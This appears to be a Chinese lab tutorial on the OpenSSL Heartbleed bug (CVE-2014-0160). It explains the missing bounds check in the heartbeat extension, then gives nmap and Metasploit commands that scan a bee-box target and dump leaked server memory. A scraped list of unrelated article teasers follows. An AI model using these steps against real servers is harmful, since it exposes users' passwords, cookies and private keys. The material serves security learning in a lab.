利用 heartbleed 漏洞

article/2025/11/9 11:53:25

一、Heartbleed的知识点

1.引言:

最初人们为了网络通信安全,就开始使用安全协议进行加密通信,SSL(Secure Socket Layer)就是一种安全协议。随着开源软件的流行,有人写了一款叫  OpenSSL  的开源程序供大家方便地对通信进行SSL加密,后来这款软件便在互联网中被广泛应用。我们在浏览器地址栏常见的 https 前缀的网址以及那把小锁图标,通常就是指该网站经过 SSL 证书加密。

OpenSSL 有一个叫 Heartbeat (心跳检测)的拓展,问题就出在这个拓展上,这也是漏洞被命名为“心脏出血”的直接原因。

所谓心跳检测,就是建立一个  Client Hello 问询来检测对方服务器是不是正常在线 ,服务器发回 Server hello,表明正常树立SSL通讯。就像我们打电话时会问对方 “喂听得到吗?”一样。

每次问询都会附加一个问询的字符长度 pad length,bug 来了,如果这个 pad length 大于实际的长度,服务器仍是会回来相同规模的字符信息,于是形成了内存里信息的越界访问。

就这样,每发起一个心跳,服务器就能泄露一点点数据(理论上最多泄露  64K),这些数据里可能包括用户的登录账号密码、电子邮件甚至是加密秘钥等信息,也可能并没有包含这些信息,但攻击者可以不断利用 “心跳”来获取更多的信息。就这样,服务器一点一点泄露越来越多的信息,就像是心脏慢慢在出血,心脏出血漏洞的名字由此而来。

2、Heartbleed 的概述

Heartbleed漏洞,也叫心脏滴血漏洞。是流行的OpenSSL加密软件库中的一个严重漏洞。这个弱点允许窃取在正常情况下被用来保护互联网的SSL/TLS加密保护的信息。SSL/TLS为网络、电子邮件、即时消息(IM)和一些虚拟专用网络(VPNs)等应用程序在互联网上提供通信安全和隐私。

      Heartbleed漏洞允许互联网上的任何人读取受OpenSSL漏洞保护的系统的内存。这就损害了用于标识服务提供者和加密通信、用户名和密码以及实际内容的秘钥。这允许攻击者窃听通信,直接从服务和用户那里窃取数据,并模拟服务和用户。

3,“ Heartbleed”简介:

Heart bleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。如同漏洞成因所讲,我们可以通过该漏洞读取每次攻击泄露出来的信息,所以可能也可以获取到服务器的私钥,用户cookie和密码等。所以本次会将“心脏滴血”漏洞进行复现。

4、什么是 Heartbleed

心脏出血漏洞”是指openssl这个开源软件中的一个漏洞,因为该软件使用到一个叫做heartbeat(中文名称为心跳)的扩展,恰恰是这个扩展出现了问题,所以才将这个漏洞形象的称为“心脏出血”;

二、实验过程

1.、环境准备

1.开启bee-box靶机和Kali虚拟机

2.bee-box中登陆(用户名:bug和密码都是 bee),

(注:键盘乱码解决:system-->Preferences-->keyboard,去设置并选定为china

打开键盘设置,添加中国(中文)键盘,并移除其他的键盘方式。)

 

 

 

2、利用 Heartbleed 漏洞案例

1.获取bee-boxIP,在bee-box终端中使用ifconfig命令进行查看

2.查看是否能ping通

ping 192.168.17.135

3.nmap -O 192.168.17.135(填入bee-boxIP) 查看一下开放端口,找到https-alt的端口:

nmap -O 192.168.17.135

4.nmap 上带的ssl-heartbleed.nse脚本对目标机器进行扫描看是否存在该漏洞:

nmap -sV -p 8443 --script ssl-heartbleed.nse 192.168.17.135(bee-box的IP)

5.打开msf,输入:msfconsole

6.搜索漏洞利用模块:

search heartbleed

7.选用第二个模块:

use auxiliary/scanner/ssl/openssl_heartbleed

8.设置rhostrport

show options查看需要配置的参数

set rhost 192.168.11.132set rport 8443show options

10. 最后设置一下verbose,让verbosetrue这样我们才可以看到泄露的64kb数据  

verbose为true:set verbose true

11. 然后就可以exploitrun

输入:run运行攻击模块就可以得到一些信息


http://chatgpt.dhexx.cn/article/ioWRjTo8.shtml

相关文章

openssl HeartBleed漏洞复现

简介: 心脏滴血漏洞于2014年被爆出,攻击者可以通过构造特殊的数据包,远程读取特定服务器内存中64K的数据,获取内存中的敏感信息。因openssl应用广泛,故影响较大。 原理: 1、 什么是SSL? SSL(S…

openssl-heartbleed漏洞学习

了解漏洞 Heartbleed漏洞: Heartbleed漏洞是openssl的一个漏洞,这个严重漏洞(CVE-2014-0160)的产生是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制…

Glass Hearts_ Brett

实验1.1 判断是否为回文数 气死我了这么个破题我居然想了很久我真的会气死 但小小的题也要学到东西呀 这里学到了int类型转变成string(因为strlen只能用在char string 这种上面) 但只有C11支持,我真的会无语 第一次当练手了搞了个这么简单的题还花这么久气死我了…

心脏出血(Heartbleed)漏洞浅析、复现

一、漏洞介绍 心脏出血(英语:Heartbleed),也简称为心血漏洞,是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议。它于2012年被引入了软件中…

SEED-lab:Heartbleed Attack Lab

博客已迁移至:https://gls.show/ seedlab系列文章GitHub链接:https://github.com/LaPhilosophie/seedlab 实验准备 设置两个 VM: 攻击者机器 修改/etc/hosts 文件将服务器名映射到服务器 VM 的 IP 地址,在/etc/hosts 中搜索127.0.0.1 www.…

Heartbleed心脏出血原理及漏洞复现(CVE-2014-0106)

Heartbleed心脏出血原理及漏洞复现(CVE-2014-0106) 漏洞简介漏洞原理漏洞复现 漏洞简介 心脏出血是OpenSSL库中的一个内存漏洞,攻击者利用这个漏洞可以服务到目标进程内存信息,如其他人的Cookie等敏感信息。 漏洞原理 心脏出血…

心脏滴血漏洞详解及利用--HeartBleed With OpenSSL

【事件规则】 OpenSSL“心脏出血”漏洞是一个非常严重的问题。这个漏洞使攻击者能够从内存中读取多达64 KB的数据。也就是说,只要有这个漏洞的存在,在无需任何特权信息或身份验证的环境下,我们就可以从我们自己的(测试机上&#…

Says Of Heart!

心得: 步入大学生活已经两个多月了,在这期间,我面试过班委,面试过学生会,面试过小组,分别获得了不同的经验与感受,这使我收获颇多。 之前的我,是一个不爱参加任何活动的一…

Heartbleed漏洞的复现与利用

一、 1.Heartbleed漏洞是什么 Openssl在处理心跳包的时候检测漏洞,没有检测payload与实际的数据字段是否匹配,造成最大64KB的内存泄漏 2.基本背景和影响 OpenSSL是SSL协议以及一系列加密算法的开源实现,使用C语言编写。OpenSSL采用Ap…

Heart bleed 漏洞源码与过程解析

Heartbleed漏洞,这项严重缺陷(CVE-2014-0160)的产生是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存…

OpenSSL 心脏滴血漏洞(CVE-2014-0160)漏洞讲解(小白可懂,简单详细)

Heartbleed 心脏出血(英语:Heartbleed),也简称为心血漏洞,是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议。它于2012年被引入了软件中…

码元

码元:固定时长的信号波形,代表不同离散数值的基本波形(码元可以理解为一种信号) 固定时长中的时长可以称为码元宽度,如下图 上图信号只有0、1两种状态(1个码元携带0或1 1个码元携带1bit的信息量) 所以是二进制…

候选码、主码、外码、全码、超码

文章目录 1.候选码2.主码主属性非主属性 3.外码4.全码5.超码6.总结: 1.候选码 定义:能唯一标识关系中元组的一个属性或属性集。 2.主码 从多个候选键中选择一个作为查询、插入或者删除元组的操作变量,被选用的候选码称为主码。 每个关系必…

数据库系统--码,超码,候选码,主属性,非主属性,主码,全码,外码基本概念

当然,上述只针对学生这一个关系。若涉及参照关系还要引入外码(Foreign Key) ,A关系的其中一个属性同时是B关系的主码,那么该属性则是A关系的一个外码,参照B关系。

主属性,范式,超码,码,非主属性,全码

整个属性住都是码,则是全码 all-key STUDENT(Sno,Sname,Grade,Mname) 黄色(Sno,Sname)是码,也称主码,候选码(最小单元) 黄色区域Grade/Mname是超…

码元与码点

码元与码点 JavaScript字符串使用了两种Unicode编码混合的策略:UCS-2和UTF-16。对于可以菜哦也能够16位编码的字符(U0000~UFFFF),这两种编码实际上是一样的。(《JavaScript高级程序设计》) 关于码元和和码点…

数据库系统概论第六章(关系数据理论)知识点总结(2)—— 码的概念总结

本专栏收录了数据库的知识点,而从本文起,将讲述有关于关系数据理论中的第一范式、第二范式、第三范式以及BC范式有关知识点,提供给有需要的小伙伴进行学习,本专栏地址可以戳下面链接查看 🎈 数据库知识点总结&#xff…

Code128一维码(解码)

由于最近在弄一个用Winform实现基于"博斯得"打印机实现打印预览的玩意遇到了几个问题。 在打印条码的时候实际打印的条码长度和预览差距很大于是就查网上查了一下资料熟悉了一下条形码的构成和解读,往下看 认识Code128编码规则 依次是 : 禁止区…

数据库-超码、候选码、主码

超码(superkey)绝对算得上计算机术语中翻译以后看起来更复杂的一个典型。 超码和码其实没有任何关系,它本质上是一组属性的集合。这一组集合可以唯一的标识出一个元组,就是说不同元组的超码中的属性是不全相同的。 表中的一行就是…

计算机中常用的三种码制,码制

码制 1.数字系统 用数字信号完成对数字量进行算术运算和逻辑运算的电路称为数字电路,或数字系统。由于它具有逻辑运算和逻辑处理功能,所以又称数字逻辑电路。人类已经进入到了数字时代,数字系统在我们日常生活中愈发重要,并广泛应用于通信、商贸、交通控制、航空航天、医疗…